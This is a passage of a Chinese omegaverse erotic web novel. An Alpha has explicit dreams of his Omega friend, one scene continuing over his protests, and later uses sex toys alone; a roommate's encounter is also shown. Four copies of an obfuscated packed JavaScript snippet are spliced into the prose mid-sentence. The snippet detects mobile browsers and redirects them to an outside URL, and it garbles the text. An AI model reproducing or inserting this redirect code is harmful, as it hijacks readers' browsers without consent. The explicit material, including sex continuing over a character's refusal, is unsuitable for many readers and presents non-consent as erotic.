他以前的易感期都是靠抑制剂度过的,现在抑制剂失效了,他要怎么办? 他知道许多Alpha在这种情况下会选择找个Omega共度一夜,只要Omega没有强烈反对,没人会指责一个无法控制自己的Alpha。 阮霖就在他隔壁,如果他走过去,向阮霖提出请求,阮霖这样温柔的人,大概也会同意他。 安阡脑海里浮现出阮霖的面容,他看见阮霖在昏暗的光线里朝他微笑,深黑的眼底浮动着暧昧的光亮。 刚才阮霖也说了。 如果…如果他和阮霖谈的话……阮霖会保护…… 安阡想着,等他反应过来的时候,他已经摇晃着走到了门口,手抓在门把上。 他瞬间惊醒过来。 他到底在想什么? 不可以! 无论如何,绝对不能去打扰阿霖。 阮霖只是在跟他开玩笑,但如果他把玩笑当真了,真的去找阮霖做那种事,就算阮霖答应帮他,事情结束之后,他们的友谊也就走到尽头了。 安阡想到阮霖冷着脸对待他的样子,身体瑟缩了下。 今天已经很糟糕了。 如果阮霖真的因为这个和他断绝关系,他该怎么办? 安阡,快克制住你自己,不要被信息素冲昏了头脑。你和阮霖只是朋友,你们现在不会,未来也没有任何可能发展出朋友之外的关系。 他打消了寻找阮霖的念头,哆嗦着腿回到床上,用被子把自己裹起来。 他不停摩挲着难受的那处,企图抵消不停上涌的焦躁感。可是上涌的欲望愈演愈烈,单单靠手指完全无法纾解,某种不安的冲动在体内叫嚣着,催促他寻找能够抚慰自己的东西。 安阡的身体不停发着抖,眼睛茫然地旋转着,不知道想找些什么。 终于,他逡巡的目光停住了。 在旁边的椅子上,搭着属于阮霖的西装外套。一路上阮霖都用这件外套裹着他,在夜场那些人的搜寻下帮他掩盖身形,进到房间后,这件外套就被顺手搁在了这里,阮霖走的时候没想起来带走它。 安阡仿佛找到了能救济他的良药,他掀开被子,手脚并用地爬过去,将那件外套紧紧攥在手中。外套上存留着Omega微冷的信息素清香,让他的焦躁感平缓了不少。 虽然依旧头晕,但依靠着外套,安阡勉勉强强能抵挡住这种不适。他用宽大的外套将自己全身包起来,回忆着阮霖将他抱在怀中时的触觉,上瘾一般汲取空气里属于Omega的味道。 这太罪恶了,阮霖就在他隔壁的房间睡觉,他却像一个下流的登徒子,对着好朋友的衣物纾解欲望,一遍遍用他肮脏不堪的身体,企图在那件衣服上印下自己的痕迹。 安阡一边觉得羞耻,一边又无法控制自己的行为。 他唾弃Alpha的本能,这让他像个野兽一样寻求Omega的味道。哪怕信息素的主人是他的最好的朋友,却依旧能唤起他对于情欲的渴望。 外套在他的蹂躏下变得皱皱巴巴的,上面纵横交错着深色的湿痕,他看一眼,就觉得自己整个人好像烧了起来,不由得升起一种自己正被在油锅里炙烤惩戒的奇异联想。 可耻的是这个方法确实起了效果,没过多久,他就在汗水里陷入了沉眠。 梦里他依然能感觉到易感期的热意,安阡不自主地扭动着身体,直到阮霖清凉甜腻的白茶味道将他笼罩,他沉浮在温暖美妙的包裹里,这感觉仿佛阮霖还在夜场里抱着他,滚烫的肌肤与他紧密相贴。 他不知道自己是醒着还是睡着,他身上裹着的应该是阮霖的外套,但安阡恍惚又觉得压在他身上的就是阮霖本人。 俊美健壮的Omega似乎在看着他,眼眸像一片海,拖着安阡下坠,让他在那双深黑色的汪洋里溺毙。 “安安,安安……” 他的耳边回荡着低吟,一声又一声,潮湿地蔓延在迷蒙的意识中。 --- 梦中,他觉得阮霖环抱着他,手指探测着他的体温,温柔地询问发生了什么。 安阡很难受,他干渴到说不出话,只能拉着梦里的阮霖,把脑袋埋在他颈间疯狂嗅探。 Omega一如既往的温和,手抚着安阡的背脊,不停柔声对他说话,让他放松下来。 但安阡克制不住自己的欲望,他起初只是一个劲儿地闻,后来他无法忍受这样浅尝辄止的慰藉,Alpha的本性在他的身体里蠢蠢欲动,他舔着阮霖的皮肤,用牙尖去咬他后颈上的抑制贴。 抑制贴被他的牙齿掀起的时候,阮霖的身体很明显僵硬了一下,他试图把不安分的安阡摆回到床上,但安阡显然失了控,不顾一切地往他身上扑。 “让我闻一下吧……” Apha的眼睛雾蒙蒙的,像是对漂亮的水晶。 “你只是我的一个梦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420475|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿霖。没关系的,我只想闻闻你的味道,什么都不会对你做的。” 阮霖没有言语地抱着他,或许这就是梦境对安阡所作所为的一种默许。 他环着阮霖宽阔的肩,不加节制地在他身上啃咬。这种行为对Omega来说是明确的侵犯,但安阡被本能驱使着,并不觉得这么做有什么不对。 那小小的一块贴纸很快被安阡用牙咬着撕下,汹涌而出的信息素瞬间像爆炸一样扩散开。 巨量的信息素冲入安阡的口鼻,和他记忆里清甜的冷香不一样,冲出的气味寒冷而肃然,像是暴雪天里的针叶林,疯狂地向安阡压过来。 安阡不由得抖了下。 这种味道比他见过的任何一个Alpha都要更加危险而具有侵略性,在这样的强压下他甚至觉得腿软,将要啃咬的动作也自发地停在了半途。 阮霖的目光变得昏暗而阴冷,扫视他的眼神就像雄狮盯住了他的猎物。 他从没在阮霖的脸上见过这样的神情。 安阡愣住了,牙齿咬着抑制贴,不知道该不该进行下一步动作。 “安阡……你很难受吗?”阮霖逼近他,沉着声音问,像在竭力压抑着什么情绪。 安阡不知为何有些发慌,眼前的人和他认识的阮霖似乎不太一样,他知道梦里总有些细节不符合常理,但这副模样的阮霖还是让他感到害怕。他从对方身上感受到强烈的攻击性,像是随时要向他发起扑击的恶狼。 虽然如此,易感期的滋味实在不好受,阮霖的信息素确实缓解了他的焦躁。 安阡按捺下想要逃跑的欲望,如实说:“是…是的,我感觉很奇怪……像是易感期到了……但…但我的易感期不应该这么早……” 他无意识蹭着双腿,手不停揉按涨得发疼的地方,阮霖喷在他身上的呼吸越来越粗重。 安阡的眼睛盯着阮霖的腺体,那块粉红的软肉很是诱人,像某种奖励性的糖果。 他大着胆子凑上去,结巴着问:“阿,阿霖,我可以标,标记你吗?” 他牢记小时候妈妈的教诲,不可以不经过询问就对Omega进行标记。 这不礼貌。 安阡是讲道理的Alpha,即使在梦里也一样。 更别提梦中的对象还是阮霖。 少年Alpha的脸被情欲蒸得发红,全身都在克制不住地轻颤,牙尖明明已经准备好了咬下,却还倔强地停在原地,等待Omega的首肯。 阮霖忍不住笑了一声。 安阡见面前的Omega忍俊不禁的模样,一头雾水。他还没搞明白阮霖的笑声究竟代表着拒绝还是同意,就被对方一把抱起,压在了床上。 阮霖用手掌覆着他年轻的欲望,眸光掠过Alpha在抚摸下颤栗的身体。 他贴在安阡的滚烫的脸颊边,嗓音低哑性感:“不需要标记。” “我有一种能让你更舒服的解决办法,安安。” 5. 下流情事 安阡脑子懵懵的。 什么办法? 除了标记,还有其他缓解易感期的方法吗……? “腿。” 阮霖在他紧紧并在一起的大腿上掐了一把,轻声细语,“分开一点。” “哦。”安阡觉得很奇怪,但还是乖乖地按照阮霖的指令动作。 阮霖用手指把他的衣物勾下来,夜场提供给安阡的服装甚至不能称得上裤子,只能算是一小块三角形的布料,半遮半掩地遮在隐秘处,显出一种别样的风情。 在梦里也保留着这副打扮,安阡注意到时才开始觉得羞耻,但很快他的羞耻就不仅仅是这么简单了。 阮霖向他伸手。 安阡的眼睛瞬间睁大了,随着阮霖动作的变化,他逐渐意识过来眼前的人想做什么。 他脸颊滚烫,慌里慌张地阻止:“等,等一下,阿霖!这不对!” 阮霖没有停下,他按住安阡想要退后的腿,慢条斯理地回应: “有什么不对?” 他微微动了下手,眼前的人如同过电一样,全身抖动起来。 安阡按着阮霖的肩膀想要推开他,目光里是前所未有的恐惧,诡异的触感疯狂地刺激着他的神经,让他警铃大作。 “我是Alpha!”安阡挣扎着喊道,“这种事,这种事应该我对你做才对……” 他觉得阮霖一定有哪里搞错了,身为Alpha,他才应该做那个主导一切的上位者,而不是像现在这样,任由一个omega牵引着,像戏台上被随意摆布的木偶。 哪怕这是梦,也荒唐得太过度了。 “Alpha啊……” 阮霖意味不明地叹了一声。 他慢悠悠道。 “Alpha的话,应该会更爽吧?” 他没有顾及安阡的抗拒,只是倾上身来,将安阡按入自己的胸膛。 安阡的推搡和叫喊声没有起到任何作用,他就像一只不知所措的小鹿,被伪装无害的猎食者所捕获。 这绝对是他最难以忘记的一段经历。 他拥有着一座从未有人到访的静谧花园,而在一个氤氲着热气的夜晚,他在花园里散步,与一位不请自来的客人不期而遇。 客人起初用轻柔的触碰和温软的话语试探他,让他卸下心防。安阡慢慢放松下来,长于算计的客人便诱惑着,引导他摘取伊甸园中最危险的那颗果实。 他以为客人是一位谦逊友善的绵羊,可是客人摘下了面具,他才发现里头是狼的面目。 “再坚持一下,很快,很快就好了。”阮霖亲着他的额头说。 声音很温柔。 好像这样凶残的现实就可以变成一缕轻烟飘散。 梦里的阿霖是大骗子,安阡紧紧抓着床单,心里想。 什么很快就好了? 阮霖的举动没轻没重的,他简直怀疑阮霖的词典里面就没有结束和停下这两个词汇。 他越来越觉得阮霖是彻底疯了,但转念一想,会做这种荒唐梦境的自己,也许才是那个真正的疯子也说不定。 他明明可以强制推开阮霖。 可他拒绝不了。 他心中腾升起自己完全落在阮霖的掌控中的预感,好像无形里戴上了项圈,而牵引绳的另一端牢牢握在阮霖的手中。 到后来,所有安阡能感知到的东西渐渐退隐,他的世界只剩下两样事物。 滚烫的炙热。 和不顾一切冲撞而来的暴风雪。 两者截然相反。 但却一样的极端,一样的疯狂,一样的让他食髓知味、欲罢不能。 最最重要的是。 它们都来自阮霖。 --- 梦是什么时候结束的,安阡记不太清。 但是他揉着眼睛,惺忪地看见漏进来的天光时,身边响起的嗓音立马又把他拉扯回那个荒诞离奇的梦境。 “醒了?” 低沉而磁性。 就是这个声音,昨天晚上一遍遍趴在他耳边,对他说一些露骨下流的情话。 “阿、阿霖?”安阡受惊般缩了下,从床上弹坐起来。 他的意识还停留在那个荒诞至极的梦境里,险些把眼前的人和昨晚的恶狼混为一谈。 但是看见阮霖有些忧虑的眉眼,他才反应过来。 是梦。 那个强势狠绝的阮霖,只是他做的一个梦而已。 回忆起自己晚上的梦,安阡的脸有些红。 阮霖坐在他床边,显然洗漱好了,头发梳到脑后,全身打理得一丝不苟,光鲜亮丽一股社会精英范儿。 他的神色柔和又温情,保持着Omega该有的礼貌与乖顺,和梦中那个凶狠残忍的疯子一点都不一样。 看见Alpha红得快要滴血的脸色,阮霖担忧地问道:“安阡,你还好吗?你的脸色不太好看,是昨天酒喝太多了吗?” 说着伸手探测安阡的体温。 温热的皮肤触感太过熟悉,安阡想起梦里对方的侵占,下意识想要往后躲。 又担心引起阮霖的注意,最后还是忍住了。 “有点烫。”阮霖测完后皱着眉说,“你感觉难受吗?” 难受吗? ——安安,这里难受吗? ——……这样呢? 安阡意识到自己在回忆什么,吓了一跳,赶紧说:“不,不难受。我感觉特别好,身体倍儿棒。” 他抓着阮霖的手,把它放回阮霖自己的身侧,所有的神经都绷紧了。 一边偷偷瞄着阮霖的眉眼,试探道:“阿霖……” “怎么了?” “你昨天晚上……有来过我房间吗?” “没有。”阮霖说,“回去后处理了些工作,打了几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420476|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话,然后就睡了。昨晚发生什么事了吗?” 安阡的状态看起来怪怪的,他眯了眯眼,有些不放心。 安阡紧张道:“没有!什么都没发生!” 他绞着被单。 “我…我昨天也很快就睡了。” 他瞧着阮霖的打扮,结巴着转移话题,“阿霖,你要去上班吗?” “嗯,回公司。”阮霖说,“车在酒店门口,我送你回去吗?” 安阡摇头,“我自己回去就好,我住的地方离这里很近,就不麻烦你啦。” 阮霖点点头,正了下领带。 他穿着熨帖齐整的西装,浑身干净清爽,装扮细节里透露出他目前的身份地位,似乎和安阡已处在两个不同的世界。 安阡回忆起来。 离开月色酒吧的路上,他在阮霖怀里醉得昏沉沉时,隐约听见上前来搭话的客人和阮霖问好。 阮总。那些人毕恭毕敬地称呼。 安阡盯着眼前的男人,恍惚间有种不真实感。时间真的会刻塑人的形状,昔日一起打闹的玩伴,眨眼间好像已经变成了另一个模样。 莫名地,他觉得心里堵得慌。 阮霖慢条斯理地站起身,嗓音温润。 “早餐给你买好了,有豆浆还有你喜欢的核桃糕,记得趁热吃。” “昨天的衣服我扔了,新买了几套,在那边的箱子里,你带回去穿。”他顿了顿,接着说,“酒吧之类的地方,以后也不要去了,工作我给你联系,缺钱的时候和我说,我可以帮你。” 安阡眨眨眼,“这怎么好意思……” “没什么不好意思的,我们是朋友,对吧?” 阮霖温和地说道。 他的嗓音一直回荡在安阡的脑海里,安阡眼见着那道青松一样挺直的背影从门口离开,好半晌才回过神,手忙脚乱地从床上爬起来洗漱。 等他洗完脸刷完牙出来,换上阮霖给他买的新衣服,看见桌上摆好的早点,又不由自主地发怔。 阮霖说,他们是朋友。 ……是朋友吗? 安阡小心翼翼地咬了一口核桃糕,余光瞥见床单上濡湿的痕迹,还有角落里用空的抑制剂。 昨天晚上来势汹汹的易感期,现在消失无踪,和那场疯狂的梦一样短暂。 他觉得胸口堵的慌。 手机叮咚了一声,安阡拿起来,屏幕闪着阮霖的消息。 【阿霖】:回去之后,如果还有什么不舒服,记得告诉我。 ——我要进去了…安安。 ——不舒服的话,记得告诉我…… 安阡慌张地熄灭了屏幕。 乱套了。 心脏惴惴不安地蹿动,每一声都在提醒安阡相同的事实。 他梦见自己被阮霖上了。 一个Alpha,梦见自己被最好的Omega朋友上了。 6. Beta室友 安阡提着阮霖给的箱子,步伐沉重地回到出租屋。 一路上他的思绪都很乱,短短七八分钟的路程,他磨蹭了快要半个小时。 在门口停下的时候,安阡的脑子里还不断闪着阮霖的面孔。温柔的谦和的儒雅的,强势的偏执的侵略的,两种完全相反的样貌集中在同一个人身上,割裂感几乎要把安阡逼得发疯。 只要一闭上眼,他就会想起阮霖向他倾下身,皮肤上冒着细密的汗,喊着安阡的名字进入他体内的样子。 咔咔。安阡把钥匙插进锁孔,用力一拧,老旧的锁头发出一声尖叫般的响动。 他的耳边仿佛传来含着欲望的喘息声。 别回忆了。 安阡皱起鼻子,心里烦躁。 不就是个梦吗,谁信息素躁动的时候没做过春梦,顶多就是梦的对象荒唐了点,时机凑巧了些,体位错误了些。 没什么大不了的。 阮霖是他的朋友,仅仅是朋友而已。 他不可能用那些龌龊的思想去玷污朋友的清白。 安阡深吸了一口气,在心里反复说服自己后,才打开门走进出租屋内。 他租的地方是雁川比较老的一个片区,靠近市中心,通勤方便,缺陷是设施偏老旧,户型窄小。安阡图省钱,找了一个男Beta合租,这位Beta社交广泛,在某些见不得光的行业里颇有些人脉,在月色酒吧的工作就是他介绍给安阡的。 “我回来了。姜以南,你给我介绍的什么鬼工作,一晚上那群Alpha都在给我灌酒,我再相信你的鬼话,我就……” 安阡说着说着,声音渐渐小下去。 进门后,刚才听到的喘息声更大了,浓烈的信息素味道扑鼻而来。 他眨了眨眼,响动依然清晰,这才确认之前的动静不是自己胡思乱想导致的幻觉。 客厅的沙发上,与他合租的Beta怀抱着一名美艳的男性Omega,两个人低喘着,衣衫凌乱,亲吻发出的水声不遮不掩地传入耳中。 Beta的吻不断落在Omega身上,Omega嘴里喊着“老公”“哥哥”“不要了”,一边欲拒还迎地做出各种挑逗的动作。 地上散落着许多衣物,还有一些透明的橡胶套,安阡看了眼,脸迅速发烫。 他在玄关处,进也不是,退也不是,就这么呆呆地站在原地。 沙发上的两人听到动静,停下动作,看见愣在门口的安阡。 Omega发出一声尖叫,赶紧脱离Beta的怀抱,他拿过一件衣服,慌乱地遮掩自己的面部和身体。 相比之下,Beta显得悠闲自在得多。 他的衣领凌乱地敞开,点了枝烟,眼尾勾着,上下扫视过安阡,调侃他,“呦,安小公主回来啦?昨晚工作得怎么样,傍上大款没有?到时候飞上高枝变凤凰了,可别忘了你兄弟我啊。” “我和你说过很多次了,不要整天从外面带Omega回来。想解决生理问题就出去找酒店,这里不是你的私人卧室。再让我撞见你和人在客厅里卿卿我我,我就把你做的那些不三不四的事告诉陈姨,让她把你赶出去。” 安阡扭头不去看沙发上的人,他的脸颊很烫,不知道是羞的还是气的。 姜以南其实人不错,善良热心,知道安阡在勤工俭学后,就时不时给他提供帮助。 但这个人有个致命的的缺点,就是过于风流。合租的几个月里,姜以南起码把人往屋里领了十几回,每次领来的人还都不重样。 得亏姜以南对Alpha没有兴趣,不然安阡早就把他给轰走了。 “火气这么大?”姜以南的狐狸眼睁大了些,“怎么回事,难道出什么意外了?” “我把客人头砸了。月色的人刚给我发消息,让我明天过去给人赔罪。” “这么狠?”姜以南啧了两声,“看不出来嘛,你还挺有脾气的。” 他没问安阡是为什么砸了客人的头,夜场什么情况,他比安阡清楚。听了安阡的话,他全身放松下来,手枕着头靠在沙发上,悠闲得像个看客。 “行了,我帮你去跟他们经理说说。”他满不在乎,“你就象征性地道个歉,然后继续去上班就好了。放心,有我在,他们不会对你怎么样的。” “我不打算再回去了。” 出乎姜以南意料,安阡摇摇头说道。 姜以南好奇,“为什么不回去了?你不是说你妈妈要做手术,急着用钱吗?” “再考虑考虑吧,你别看月色只是个小酒吧,它提供给侍应生的工资已经是雁川第一档的了。离了那里,再找能招学生的店可不容易啊。” “我知道你是为我着想,但问题不在这里。” 面对苦口婆心劝说他的姜以南,安阡长叹了口气,把手中的箱子搁在柜子上,走向冰箱。 “那是因为什么?”姜以南思考了一下,露出恍然大悟的表情,“哦,我知道了,你还是适应不了这个工作,对不对?” “不就是陪酒吗,没什么大不了的,又不是让你陪睡。”他大大咧咧地说,“对了,你有穿侍应生的衣服吗,我记得月色的制服设计得还挺有意思,有兔子、猫咪什么的,蛮性感的吧。” 提起制服,安阡更是气不打一处来。 “姜以南!你是不是故意的!”他羞恼道,“早知道那些制服这么……这么奇怪,我才不会答应你去月色工作!” 被阮霖撞见自己穿着女仆装在夜场打工,安阡活了这么大,还没遇到过比这更羞耻的事。 “别生气嘛,咪咪也在夜场干过,在那穿这种衣服就和我们穿日常服一样,常见得很。”姜以南摸了摸怀里Omega的脸,“我说得没错吧,咪咪?” Omega脸红红的,听见姜以南问他问题,连忙点了点头。 “我跟他们不一样,我又不是去卖……” 安阡说到一半,看见Omega睁着一对水灵的眼睛,怯生生地看着他。他意识到自己失言,很快住了口。 他转身从冰箱里拿了瓶酸奶,递给坐立不安的Omega。 “对不起,我不是有意的。”他说,“吃吧,屋里没什么能招待客人的,只有这个了。” “没、没关系的,谢谢你……” Omega没想到安阡会对他道歉,他满眼讶然,小心翼翼地把酸奶接过来。 浅浅抿了一口酸奶,他抬眼瞧向面前的少年。 少年生得精致秀气,唇红齿白,凑近了看更是没有半点瑕疵。Omega只瞄了一眼,就被惊艳住了。 好漂亮。 Omega在心里惊叹,他在风月场混迹多年,本身长得也不错,但安阡的样貌却让他几乎移不开眼。 姜以南叫他过来之前,可没告诉他,这屋子里还住着一个这么漂亮的Omega。 安阡看见他的表情,就知道他误会了。 他向Omega伸手:“自我介绍一下,我叫安阡,是姜以南的室友。” 他微微侧头,少量的信息素从抑制贴下泄露出来。 他的信息素压迫性不强,但足够表明他的身份。 Omega鼻尖动了动,表情惊讶:“你是Alpha?” AO都可以轻松地从信息素中辨认出其他人的性别。安阡虽然长相柔美,但生理特征还是实打实的Alpha。 O ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420477|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' mega和他握手的时候,就闻见一股淡淡的微辛气味,萦绕在安阡身上。 原来是甜椒味的Alpha。 “我还以为你是Omega呢。你知道吗,我见过很多O,他们长得都没有你……” “我知道,我看起来确实不够A。” 安阡抱歉地笑笑,打断Omega的话。 他听惯了对自己外貌的惊叹。 身为Alpha,却拥有如此温软的外表,安阡一直以这一点为耻。 眼见Omega要发出评论,安阡立马牵过话头,把这件事盖了过去。 他脑子里全是昨天酒吧发生的事,以及晚上那个毫无道理的梦境,再三跟姜以南强调不要再带人回出租屋后,他就找借口回到了卧室。 房间还是出门以前的样子,他简单收拾了一下,在路过床头柜时停下脚步。 床头有一只玻璃做的小蝴蝶,摆在一个相框边。相框里面小小的安阡戴着生日帽,和一名容貌美艳的女人坐在一起,愉快地吃着蛋糕。 安阡扫了一眼,有些胸闷,好像有什么东西堵在他嗓子眼一样。 他犹豫着要不要打个电话,但看见妈妈两个字显示在联系人界面上后,安阡的动作又迟缓下来,最后把输入的数字全部删光。 ……算了。 还是等过两天,再去医院看看她吧。 他垂下眼眸,把手机丢在一边,泄气地仰倒在床上。 打工的事情被阮霖撞见,他无论如何都不可能再回月色酒吧了。 但他负担不起医药费,还是得找个班上。 接下来该怎么办呢? 再问问姜以南?但那人手里大概率没什么正经工作。 或许他可以到处投递下简历,碰碰运气。 安阡心想。 门外十分安静。 Omega应该离开了,即便他还在,姜以南也不可能在安阡在出租屋里的情况下,继续和Omega做他们刚才未完成的事。 想到进门时候看见的画面,安阡皱了皱鼻子,他搞不明白姜以南一个Beta,为什么会热衷于这种事。 他还记得自己以前易感期的时候,即使再怎么燥热难耐,也会靠抑制剂强行把生理冲动压下去。 随着年岁愈长,同龄的其他A都开始四处勾搭O,安阡却始终洁身自好,连自我纾解的事都很少做。 除了…… 除了昨天晚上。 安阡的脸颊逐渐升温,他晃了晃头,企图把下流的景象从脑袋里驱逐出去,这个时候,卧室的门忽然咚咚响了两下。 “安小公主,你还好吗?”门外是姜以南的声音,“我让咪咪回去了,你怎么样,心情不好?” “我没事,你不用管我。” “你听上去可不像没事的样子,实话说吧,昨晚到底怎么了?” 姜以南的好奇心总是很重,发现什么细节都要刨根问底。 安阡一点都不想被他打扰,他皱了皱眉,还是坦白,“我碰见阮霖了。” “阮霖?你那个从小玩到大的好朋友吗?他去那里做什么?” “说是和人谈生意。” “Omega去夜场谈生意,这可不常见啊。”姜以南八卦道,“碰见他之后呢?你们做什么了?” 安阡烦躁地回应,“他知道我当侍应生的事情了,所以我不想再去月色工作了。” “就这样?” “不然呢,你还想听什么?” 姜以南在门外语重心长地说:“安阡,其实我早就想问你了,你是不是暗恋那个叫阮霖的?” 安阡噌的一下就从床上坐起来了。 7. 隐秘来电 “我?暗恋阿霖?”安阡难以置信地拔高声音,对着门口喊,“你在胡说什么?我怎么可能暗恋他?!” “那你在意他的看法干什么?你干你的活,和他又没关系。” “那不一样!” “不一样?哦,你每天起码要在我面前喊十遍阿霖,你对他确实是挺不一样的。” “姜以南!!!” 安阡脸涨红了,恨不得开门出去把姜以南的嘴撕烂。 但他打不过姜以南,更确切点说,安阡的身体素质连一个经常锻炼的Omega都打不过。 身娇体弱,以前小区里那些孩子们都这样嘲笑他。姜以南认识他后,也成天“安小公主”“安小公主”地叫他。 只有阮霖。 阮霖从来不会嫌弃他娇气,他温柔地对待安阡,就像对待他别的朋友那样。安阡只有和他相处的时候,才感受不到那些落在自己身上的异样目光。 阮霖在他心里确实是不一样的。 但这份“不一样”仅限于朋友之间,阮霖是他最最重要的朋友,除此之外不掺杂任何别的因素。 “好了,不逗你了。”姜以南总算放过了他,安阡长长吐出一口气。 姜以南接着又说:“但你不去月色,要上哪里赚钱?” 安阡自己也在想这个问题,他思考久了头就容易胀痛,索性把这件事暂时抛在一边,晚点再处理。 “我这两天再想想吧,先睡了,别来打扰我。” “现在还是早上啊,安小公主。” “我补觉!” 安阡大声说,一头钻进被窝里。 姜以南又喊了他几声,安阡闷着不回应,一边竖耳听外面的动静。等姜以南走远了,他才从像山一样堆起来的玩偶和枕头里探出脑袋。 床底下有个东西,是刚才他和姜以南争辩的时候过于激动,不小心碰掉的。 安阡伸长手把它够起来,仔细瞧了瞧。 一个粉色的、椭圆形的小球,后面连着根线。 什么东西? 安阡不明所以地盯着小球,他确定自己没有买过这个东西,但它又确确实实出现在自己的床头柜上。 小球底下有个开关,安阡好奇地摁了下,手里的球马上震动起来。 安阡反应过来,红着脸把球扔开了。 小球转了两圈,滚进床头柜下面的缝隙里。 震动声音从底下传来。 不行,得把它关掉。 安阡光脚踩在地上,往床头柜底下一看,粉红色的小球正在地板上嗡鸣,一上一下跳动着。 在小球的后面,有一个纸箱。 他什么时候往这放过纸箱了?安阡皱眉不解,把小球拿出来关掉后,又把纸箱从底下拖出来。 纸箱里放满了杯子、皮鞭、绳索、动物尾巴之类的物件,包装完好,还没拆封。安阡看得面红心跳,咬牙在箱子里翻了翻,从最底下翻出一张字条。 安小公主,我那里东西太多,放不下了,借你这放放啊。 喜欢你拿去玩,别客气。 —姜以南留 安阡看完字条,忍不住吐槽。 姜以南这家伙。 在屋子里乱搞也就算了,连玩具都往他房间里放。把他当杂物间吗? 他抱起箱子,打算找姜以南好好理论一番,但走了两步,他看着怀里琳琅满目的玩具,又停住了。 话又说回来。 这些玩具……用起来真的会很舒服吗? 他从纸箱里捏起一对黑色的小夹子。 安阡盯着夹子,表情紧张,好像他即将要做一个非常重大的决定。 就拿来试用一下,应该没什么关系吧? 反正……反正姜以南都把东西放在他房间了,被用了那也是姜以南活该,谁叫他随便乱丢东西的。 况且姜以南也说了,他可以随便拿去玩。 他自我斗争一番,最终彻底说服了自己。 安阡仔细检查了一下箱子里的东西,都很干净,应该没人用过。 以防万一,他还是全部清洗了一遍。 做好事前准备,安阡躺上床撩开衣服,拿起垂着流苏装饰的小夹子,试探着靠近那个淡粉色的凸起,接着打开夹口,对着小点咬下。 疼。 安阡小声吸了口冷气,眼尾冒起几滴晶亮的泪花。 这到底哪里舒服了,明明完全不爽嘛。 他有种被欺骗了的郁闷,把夹子摘下,受到虐待的小点红彤彤的,在雪白的的皮肤上颇为醒目。 安阡把夹子扔在一边,又从纸箱里拿出一个透明的杯子。 杯子摸起来手感偏软,材质亮亮的像水晶。 他深呼吸几下,对准杯口放进去,杯子内壁像吸盘一样紧紧吸着他。 这个就比小夹子舒爽多了,安阡前前后后捣鼓了一会儿,很快身上布满了薄汗,最终光荣地缴械投降。 放在以前,这样就差不多了。 但这次他莫名感觉不太过瘾,像是缺了点什么。 安阡舔了舔嘴唇,目光闪动两下,看向那个还在地上震动的小球。 他鬼使神差地捡起小球,清洗干净之后,细白的手指捏着粉红的小球,谨慎又好奇地往后面探去。 他轻咽了下口水,有些紧张。 他回忆着梦里阮霖的动作,小心翼翼地把球往里面推,本能仿佛在抗拒着他,但最终通道还是被强硬地挤开,小球完全没入,只剩下一根线在外面晃晃悠悠。 被侵入的感觉很怪异。 Alpha的身体生来就不是用来做这种事的,他后面没有足够多的神经,按理说并不会因此得到快感。 安阡咬了咬下唇,过了一会儿,他觉得能够适应了,才小心地动了动。 他纠结了一会儿,按下遥控开关。 “啊…” 震动如浪潮一样推开,安阡没忍住叫了一声,感觉有个东西在身体里不停上下窜动,疯狂地往里面钻。 一开始他觉得这很痛苦,满脑子只想立刻停止这一切。但时间长了,安阡反而从痛苦中察觉出几分难以言喻的爽感。 这是他过往的人生中不曾体会到的。 安阡喘着气适应了一会儿,又调节了几次档位,很快就把档位提到了最高。 但是还不够。 和梦中的阮霖比起来,远远不够。 安阡的心里长出了一个贪吃欲望为生的怪物,食髓知味,不知满足。他需要世界上一切能够带来美妙的东西,让他觉得自己是充实的,是快乐的。他把刚才扔掉的小夹子又重新夹上,另一只手探寻着,尝试那些在昨天以前他从未料想会发生在自己身上的动作。 “阿霖,”他下意识呢喃,“阿霖。” 他已经不清楚自己到底在想什么了,只觉得自己好像中了邪,居然在尝试复制那个离奇可笑的梦。 好半天后,他才渐渐恢复过神智。 安阡倒在床上,双目放空地看着天花板。过了一阵,他才察觉到耳边的铃声叮叮当当,一直在响个不停。 刚才……有人在给他打电话吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420478|200824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 